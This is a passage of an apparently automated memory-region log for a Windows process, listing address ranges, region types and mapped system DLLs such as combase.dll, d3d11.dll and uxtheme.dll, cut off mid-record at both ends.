0x0 region_type = private name = "private_0x0000008132ac0000" filename = "" Region: id = 3672 start_va = 0x8132b80000 end_va = 0x8132b8ffff entry_point = 0x0 region_type = private name = "private_0x0000008132b80000" filename = "" Region: id = 3673 start_va = 0x8132cd0000 end_va = 0x8132e57fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132cd0000" filename = "" Region: id = 3674 start_va = 0x8132e60000 end_va = 0x8132fe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132e60000" filename = "" Region: id = 3675 start_va = 0x8132ff0000 end_va = 0x81343effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132ff0000" filename = "" Region: id = 3676 start_va = 0x8132ad0000 end_va = 0x8132ad2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132ad0000" filename = "" Region: id = 3677 start_va = 0x8132ae0000 end_va = 0x8132ae0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132ae0000" filename = "" Region: id = 3678 start_va = 0x8132af0000 end_va = 0x8132af0fff entry_point = 0x0 region_type = private name = "private_0x0000008132af0000" filename = "" Region: id = 3679 start_va = 0x8132b00000 end_va = 0x8132b00fff entry_point = 0x0 region_type = private name = "private_0x0000008132b00000" filename = "" Region: id = 3680 start_va = 0x8132b10000 end_va = 0x8132b10fff entry_point = 0x0 region_type = private name = "private_0x0000008132b10000" filename = "" Region: id = 3681 start_va = 0x81343f0000 end_va = 0x81347e9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081343f0000" filename = "" Region: id = 3682 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3683 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3684 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3685 start_va = 0x81347f0000 end_va = 0x81348dffff entry_point = 0x0 region_type = private name = "private_0x00000081347f0000" filename = "" Region: id = 3686 start_va = 0x8132b20000 end_va = 0x8132b20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132b20000" filename = "" Region: id = 3687 start_va = 0x81348e0000 end_va = 0x81349cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081348e0000" filename = "" Region: id = 3688 start_va = 0x8132b20000 end_va = 0x8132b23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132b20000" filename = "" Region: id = 3689 start_va = 0x8132b30000 end_va = 0x8132b36fff entry_point = 0x0 region_type = private name = "private_0x0000008132b30000" filename = "" Region: id = 3690 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3691 start_va = 0x81347f0000 end_va = 0x813486ffff entry_point = 0x0 region_type = private name = "private_0x00000081347f0000" filename = "" Region: id = 3692 start_va = 0x81348d0000 end_va = 0x81348dffff entry_point = 0x0 region_type = private name = "private_0x00000081348d0000" filename = "" Region: id = 3693 start_va = 0x81349d0000 end_va = 0x8134a4ffff entry_point = 0x0 region_type = private name = "private_0x00000081349d0000" filename = "" Region: id = 3694 start_va = 0x7ff7f7f1a000 end_va = 0x7ff7f7f1bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7f1a000" filename = "" Region: id = 3695 start_va = 0x7ff7f7f1c000 end_va = 0x7ff7f7f1dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7f1c000" filename = "" Region: id = 3696 start_va = 0x81349d0000 end_va = 0x8134a4ffff entry_point = 0x0 region_type = private name = "private_0x00000081349d0000" filename = "" Region: id = 3697 start_va = 0x7ff7f7f1a000 end_va = 0x7ff7f7f1bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7f1a000" filename = "" Region: id = 3698 start_va = 0x8132b40000 end_va = 0x8132b40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132b40000" filename = "" Region: id = 3699 start_va = 0x8132b50000 end_va = 0x8132b50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132b50000" filename = "" Region: id = 3700 start_va = 0x7ffd19d80000 end_va = 0x7ffd19f12fff entry_point = 0x7ffd19d80000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 3701 start_va = 0x8134a50000 end_va = 0x8134acffff entry_point = 0x0 region_type = private name = "private_0x0000008134a50000" filename = "" Region: id = 3702 start_va = 0x7ff7f7f16000 end_va = 0x7ff7f7f17fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7f16000" filename = "" Region: id = 3703 start_va = 0x7ffd1a6f0000 end_va = 0x7ffd1a8f7fff entry_point = 0x7ffd1a72451c region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 3704 start_va = 0x7ffd1a670000 end_va = 0x7ffd1a6eefff entry_point = 0x7ffd1a6782f0 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 3705 start_va = 0x8134ad0000 end_va = 0x8134da4fff entry_point = 0x8134ad0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3706 start_va = 0x8134db0000 end_va = 0x8134e2ffff entry_point = 0x0 region_type = private name = "private_0x0000008134db0000" filename = "" Region: id = 3707 start_va = 0x7ff7f7f14000 end_va = 0x7ff7f7f15fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7f14000" filename = "" Region: id = 3708 start_va = 0x7ffd1a420000 end_va = 0x7ffd1a66cfff entry_point = 0x7ffd1a43c0f4 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 3709 start_va = 0x7ffd1a420000 end_va = 0x7ffd1a66cfff entry_point = 0x7ffd1a43c0f4 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 3710 start_va = 0x8132b60000 end_va = 0x8132b60fff entry_point = 0x0 region_type = private name = "private_0x0000008132b60000" filename = "" Region: id = 3711 start_va = 0x8132b70000 end_va = 0x8132b70fff entry_point = 0x0 region_type = private name = "private_0x0000008132b70000" filename = "" Region: id = 3712 start_va = 0x8132b90000 end_va = 0x8132b90fff entry_point = 0x0 region_type = private name = "private_0x0000008132b90000" filename = "" Region: id = 3713 start_va = 0x8134e30000 end_va = 0x8134eaffff entry_point = 0x0 region_type = private name = "private_0x0000008134e30000" filename = "" Region: id = 3714 start_va = 0x7ff7f7dee000 end_va = 0x7ff7f7deffff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7dee000" filename = "" Region: id = 3715 start_va = 0x8132ba0000 end_va = 0x8132ba0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132ba0000" filename = "" Region: id = 3716 start_va = 0x7ffd19d70000 end_va = 0x7ffd19d7afff entry_point = 0x7ffd19d70000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 3717 start_va = 0x8134eb0000 end_va = 0x8134f2ffff entry_point = 0x0 region_type = private name = "private_0x0000008134eb0000" filename = "" Region: id = 3718 start_va = 0x7ff7f7dec000 end_va = 0x7ff7f7dedfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7dec000" filename = "" Region: id = 3729 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 3730 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 3731 start_va = 0x8134870000 end_va = 0x8134870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134870000" filename = "" Region: id = 3732 start_va = 0x7ffd19ca0000 end_va = 0x7ffd19d64fff entry_point = 0x7ffd19ca0000 region_type = mapped_file name = "udwm.dll" filename = "\\Windows\\System32\\uDWM.dll" (normalized: "c:\\windows\\system32\\udwm.dll") Region: id = 3733 start_va = 0x8134f30000 end_va = 0x813501efff entry_point = 0x8134f30000 region_type = mapped_file name = "aero.msstyles" filename = "\\Windows\\Resources\\Themes\\aero\\aero.msstyles" (normalized: "c:\\windows\\resources\\themes\\aero\\aero.msstyles") Region: id = 3734 start_va = 0x8132b40000 end_va = 0x8132b40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132b40000" filename = "" Region: id = 3735 start_va = 0x8135020000 end_va = 0x813509ffff entry_point = 0x0 region_type = private name = "private_0x0000008135020000" filename = "" Region: id = 3736 start_va = 0x7ff7f7dea000 end_va = 0x7ff7f7debfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7dea000" filename = "" Region: id = 3737 start_va = 0x81350a0000 end_va = 0x8135159fff entry_point = 0x81350cc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3738 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3739 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3740 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3741 start_va = 0x8134880000 end_va = 0x8134880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134880000" filename = "" Region: id = 3742 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3743 start_va = 0x8134890000 end_va = 0x8134890fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134890000" filename = "" Region: id = 3744 start_va = 0x7ffd1a900000 end_va = 0x7ffd1a94bfff entry_point = 0x7ffd1a915898 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 3745 start_va = 0x81348a0000 end_va = 0x81348b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081348a0000" filename = "" Region: id = 3746 start_va = 0x81350a0000 end_va = 0x81350cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081350a0000" filename = "" Region: id = 3747 start_va = 0x81350d0000 end_va = 0x81351cffff entry_point = 0x0 region_type = private name = "private_0x00000081350d0000" filename = "" Region: id = 3748 start_va = 0x81348c0000 end_va = 0x81348c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081348c0000" filename = "" Region: id = 3749 start_va = 0x81351d0000 end_va = 0x81353cffff entry_point = 0x0 region_type = private name = "private_0x00000081351d0000" filename = "" Region: id = 3750 start_va = 0x7ffd19830000 end_va = 0x7ffd19c95fff entry_point = 0x7ffd19830000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 3751 start_va = 0x81353d0000 end_va = 0x81354cffff entry_point = 0x0 region_type = private name = "private_0x00000081353d0000" filename = "" Region: id = 3752 start_va = 0x81354d0000 end_va = 0x8135502fff entry_point = 0x81354d0000 region_type = mapped_file name = "d2d1.dll.mui" filename = "\\Windows\\System32\\en-US\\d2d1.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\d2d1.dll.mui") Region: id = 3753 start_va = 0x7ffd197f0000 end_va = 0x7ffd19827fff entry_point = 0x7ffd197f0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3754 start_va = 0x8135510000 end_va = 0x8135639fff entry_point = 0x0 region_type = private name = "private_0x0000008135510000" filename = "" Region: id = 3755 start_va = 0x8135640000 end_va = 0x813566ffff entry_point = 0x0 region_type = private name = "private_0x0000008135640000" filename = "" Region: id = 3756 start_va = 0x8135640000 end_va = 0x813564ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135640000" filename = "" Region: id = 3757 start_va = 0x8135650000 end_va = 0x813565ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135650000" filename = "" Region: id = 3758 start_va = 0x8135660000 end_va = 0x813566ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135660000" filename = "" Region: id = 3759 start_va = 0x8135670000 end_va = 0x813567ffff entry_point = 0x0 region_type = private name = "private_0x0000008135670000" filename = "" Region: id = 3760 start_va = 0x8135680000 end_va = 0x813568ffff entry_point = 0x0 region_type = private name = "private_0x0000008135680000" filename = "" Region: id = 3761 start_va = 0x7ff7f7dd0000 end_va = 0x7ff7f7ddffff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7dd0000" filename = "" Region: id = 3762 start_va = 0x8135670000 end_va = 0x8135b61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135670000" filename = "" Region: id = 3763 start_va = 0x8135b70000 end_va = 0x8136061fff entry_point = 0x0 region_type = private name = "private_0x0000008135b70000" filename = "" Region: id = 3764 start_va = 0x8136070000 end_va = 0x8136561fff entry_point = 0x0 region_type = private name = "private_0x0000008136070000" filename = "" Region: id = 3765 start_va = 0x8136570000 end_va = 0x8136a61fff entry_point = 0x0 region_type = private name = "private_0x0000008136570000" filename = "" Region: id = 3766 start_va = 0x8136a70000 end_va = 0x8136f61fff entry_point = 0x0 region_type = private name = "private_0x0000008136a70000" filename = "" Region: id = 3767 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4141 start_va = 0x8136070000 end_va = 0x8136070fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136070000" filename = "" Region: id = 4142 start_va = 0x8136080000 end_va = 0x8136080fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136080000" filename = "" Region: id = 4143 start_va = 0x8136090000 end_va = 0x8136090fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136090000" filename = "" Region: id = 4144 start_va = 0x81360a0000 end_va = 0x81360a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081360a0000" filename = "" Region: id = 4161 start_va = 0x8136090000 end_va = 0x8136093fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136090000" filename = "" Region: id = 4162 start_va = 0x81360a0000 end_va = 0x81360a0fff entry_point = 0x0 region_type = private name = "private_0x00000081360a0000" filename = "" Region: id = 4163 start_va = 0x81360b0000 end_va = 0x81360b0fff entry_point = 0x0 region_type = private name = "private_0x00000081360b0000" filename = "" Region: id = 4164 start_va = 0x81360c0000 end_va = 0x81360c0fff entry_point = 0x0 region_type = private name = "private_0x00000081360c0000" filename = "" Region: id = 4165 start_va = 0x81360d0000 end_va = 0x813614ffff entry_point = 0x0 region_type = private name = "private_0x00000081360d0000" filename = "" Region: id = 4166 start_va = 0x7ff7f7de8000 end_va = 0x7ff7f7de9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7de8000" filename = "" Region: id = 4167 start_va = 0x8136150000 end_va = 0x813654ffff entry_point = 0x0 region_type = private name = "private_0x0000008136150000" filename = "" Region: id = 4168 start_va = 0x8136550000 end_va = 0x8136553fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136550000" filename = "" Region: id = 4169 start_va = 0x8136560000 end_va = 0x813656ffff entry_point = 0x0 region_type = private name = "private_0x0000008136560000" filename = "" Region: id = 4180 start_va = 0x8136560000 end_va = 0x8136560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136560000" filename = "" Region: id = 4181 start_va = 0x8136a70000 end_va = 0x8136a77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136a70000" filename = "" Region: id = 4182 start_va = 0x8136a80000 end_va = 0x8136a81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136a80000" filename = "" Region: id = 4183 start_va = 0x8136a90000 end_va = 0x8136a91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136a90000" filename = "" Region: id = 4190 start_va = 0x8136aa0000 end_va = 0x8136adffff entry_point = 0x0 region_type = private name = "private_0x0000008136aa0000" filename = "" Region: id = 4191 start_va = 0x8136ae0000 end_va = 0x8136aeffff entry_point = 0x0 region_type = private name = "private_0x0000008136ae0000" filename = "" Region: id = 4192 start_va = 0x8136ae0000 end_va = 0x8136aeffff entry_point = 0x0 region_type = private name = "private_0x0000008136ae0000" filename = "" Region: id = 4193 start_va = 0x8136af0000 end_va = 0x8136afffff entry_point = 0x0 region_type = private name = "private_0x0000008136af0000" filename = "" Region: id = 4196 start_va = 0x8136ae0000 end_va = 0x8136ae1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ae0000" filename = "" Region: id = 4197 start_va = 0x8136af0000 end_va = 0x8136af1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136af0000" filename = "" Region: id = 4218 start_va = 0x8136b00000 end_va = 0x8136b01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136b00000" filename = "" Region: id = 4237 start_va = 0x8136b10000 end_va = 0x8136b13fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136b10000" filename = "" Region: id = 4238 start_va = 0x8136b20000 end_va = 0x8136b9afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136b20000" filename = "" Region: id = 4239 start_va = 0x8136ba0000 end_va = 0x8136bcafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 4240 start_va = 0x8136bd0000 end_va = 0x8136be6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136bd0000" filename = "" Region: id = 4241 start_va = 0x8136bf0000 end_va = 0x8136c06fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136bf0000" filename = "" Region: id = 4242 start_va = 0x8136c10000 end_va = 0x8136c1ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c10000" filename = "" Region: id = 4243 start_va = 0x8136c20000 end_va = 0x8136c2ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c20000" filename = "" Region: id = 4244 start_va = 0x8136c10000 end_va = 0x8136c8ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c10000" filename = "" Region: id = 4245 start_va = 0x8136c90000 end_va = 0x8136c9ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c90000" filename = "" Region: id = 4246 start_va = 0x8136ca0000 end_va = 0x8136caffff entry_point = 0x0 region_type = private name = "private_0x0000008136ca0000" filename = "" Region: id = 4247 start_va = 0x8136cb0000 end_va = 0x8136cbffff entry_point = 0x0 region_type = private name = "private_0x0000008136cb0000" filename = "" Region: id = 4288 start_va = 0x8136c90000 end_va = 0x8136cbafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136c90000" filename = "" Region: id = 4289 start_va = 0x8136cc0000 end_va = 0x8136ccffff entry_point = 0x0 region_type = private name = "private_0x0000008136cc0000" filename = "" Region: id = 4290 start_va = 0x8136cd0000 end_va = 0x8136cdffff entry_point = 0x0 region_type = private name = "private_0x0000008136cd0000" filename = "" Region: id = 4291 start_va = 0x8136ce0000 end_va = 0x8136ceffff entry_point = 0x0 region_type = private name = "private_0x0000008136ce0000" filename = "" Region: id = 4308 start_va = 0x8136cc0000 end_va = 0x8136d3afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136cc0000" filename = "" Region: id = 4309 start_va = 0x8136550000 end_va = 0x813655ffff entry_point = 0x0 region_type = private name = "private_0x0000008136550000" filename = "" Region: id = 4310 start_va = 0x8136a70000 end_va = 0x8136a7ffff entry_point = 0x0 region_type = private name = "private_0x0000008136a70000" filename = "" Region: id = 4591 start_va = 0x8136550000 end_va = 0x8136550fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136550000" filename = "" Region: id = 4592 start_va = 0x8136560000 end_va = 0x8136561fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136560000" filename = "" Region: id = 4617 start_va = 0x8136a70000 end_va = 0x8136a70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136a70000" filename = "" Region: id = 4618 start_va = 0x8136d40000 end_va = 0x8136e2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136d40000" filename = "" Region: id = 4619 start_va = 0x8136a70000 end_va = 0x8136a73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136a70000" filename = "" Region: id = 4620 start_va = 0x8136e30000 end_va = 0x8136f2ffff entry_point = 0x0 region_type = private name = "private_0x0000008136e30000" filename = "" Region: id = 4621 start_va = 0x81348e0000 end_va = 0x81349cefff entry_point = 0x81348e0000 region_type = mapped_file name = "aero.msstyles" filename = "\\Windows\\Resources\\Themes\\aero\\aero.msstyles" (normalized: "c:\\windows\\resources\\themes\\aero\\aero.msstyles") Region: id = 4622 start_va = 0x8132b20000 end_va = 0x8132b20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132b20000" filename = "" Region: id = 5159 start_va = 0x8134f30000 end_va = 0x8134f30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134f30000" filename = "" Region: id = 5178 start_va = 0x8134f40000 end_va = 0x8134f40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134f40000" filename = "" Region: id = 5179 start_va = 0x8134f50000 end_va = 0x8134f50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134f50000" filename = "" Region: id = 5280 start_va = 0x8134f60000 end_va = 0x8134f98fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134f60000" filename = "" Region: id = 5281 start_va = 0x8134fa0000 end_va = 0x8134fa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134fa0000" filename = "" Region: id = 5282 start_va = 0x8136f30000 end_va = 0x8137421fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136f30000" filename = "" Region: id = 6098 start_va = 0x8134fb0000 end_va = 0x8134fb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134fb0000" filename = "" Region: id = 6099 start_va = 0x8134fc0000 end_va = 0x8134fc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134fc0000" filename = "" Region: id = 6100 start_va = 0x8134fd0000 end_va = 0x8134fd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134fd0000" filename = "" Region: id = 6101 start_va = 0x8134fe0000 end_va = 0x8134fe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134fe0000" filename = "" Region: id = 6102 start_va = 0x8134ff0000 end_va = 0x8134ff0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008134ff0000" filename = "" Region: id = 6103 start_va = 0x8135000000 end_va = 0x8135003fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135000000" filename = "" Region: id = 6104 start_va = 0x8135010000 end_va = 0x8135013fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135010000" filename = "" Region: id = 6105 start_va = 0x8135510000 end_va = 0x81355a9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135510000" filename = "" Region: id = 6106 start_va = 0x81355b0000 end_va = 0x81355b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081355b0000" filename = "" Region: id = 6107 start_va = 0x81355c0000 end_va = 0x81355fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081355c0000" filename = "" Region: id = 6108 start_va = 0x8135600000 end_va = 0x813563ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008135600000" filename = "" Region: id = 6109 start_va = 0x8136560000 end_va = 0x8136560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136560000" filename = "" Region: id = 6110 start_va = 0x8136a90000 end_va = 0x8136a91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136a90000" filename = "" Region: id = 6111 start_va = 0x8136b00000 end_va = 0x8136b00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136b00000" filename = "" Region: id = 6112 start_va = 0x8136b20000 end_va = 0x8136b5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136b20000" filename = "" Region: id = 6113 start_va = 0x8136b60000 end_va = 0x8136b9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136b60000" filename = "" Region: id = 6114 start_va = 0x8136ba0000 end_va = 0x8136bcafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136ba0000" filename = "" Region: id = 6115 start_va = 0x8136bd0000 end_va = 0x8136bf6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008136bd0000" filename = "" Region: id = 6116 start_va = 0x8137430000 end_va = 0x8137693fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008137430000" filename = "" Region: id = 6117 start_va = 0x81376a0000 end_va = 0x813771afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081376a0000" filename = "" Region: id = 6119 start_va = 0x8136550000 end_va = 0x813655ffff entry_point = 0x0 region_type = private name = "private_0x0000008136550000" filename = "" Region: id = 6120 start_va = 0x8136c00000 end_va = 0x8136c0ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c00000" filename = "" Region: id = 6121 start_va = 0x8136c90000 end_va = 0x8136c9ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c90000" filename = "" Region: id = 6122 start_va = 0x7ff7f7dc0000 end_va = 0x7ff7f7dcffff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7dc0000" filename = "" Region: id = 6123 start_va = 0x8136ca0000 end_va = 0x8136caffff entry_point = 0x0 region_type = private name = "private_0x0000008136ca0000" filename = "" Region: id = 6124 start_va = 0x8136cb0000 end_va = 0x8136cbffff entry_point = 0x0 region_type = private name = "private_0x0000008136cb0000" filename = "" Region: id = 6125 start_va = 0x8136c90000 end_va = 0x8136c9ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c90000" filename = "" Region: id = 6126 start_va = 0x8136ca0000 end_va = 0x8136caffff entry_point = 0x0 region_type = private name = "private_0x0000008136ca0000" filename = "" Region: id = 6127 start_va = 0x8136cb0000 end_va = 0x8136cbffff entry_point = 0x0 region_type = private name = "private_0x0000008136cb0000" filename = "" Region: id = 7869 start_va = 0x8136c90000 end_va = 0x8136d0ffff entry_point = 0x0 region_type = private name = "private_0x0000008136c90000" filename = "" Region: id = 7870 start_va = 0x7ff7f7de6000 end_va = 0x7ff7f7de7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f7de6000" filename = "" Region: id = 7871 start_va = 0x81376a0000 end_va = 0x8137b91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000081376a0000" filename = "" Region: id = 7872 start_va = 0x8137ba0000 end_va = 0x8138a0ffff entry_point = 0x8137ba0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 7873 start_va = 0x8132bb0000 end_va = 0x8132bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bb0000" filename = "" Region: id = 7874 start_va = 0x8132bc0000 end_va = 0x8132bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008132bc0000" filename = "" Region: id = 7875 start_va = 0x8138a10000 end_va = 0x8138c27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008138a10000" filename = "" Region: id = 7876 start_va = 0x8138c30000 end_va = 0x8138d8afff entry_point = 0x0 region_type = private name = "private_0x0000008138c30000" filename = "" Region: id = 7877 start_va = 0x7ff7f7db0000 end_va = 0x7ff7f7dbffff 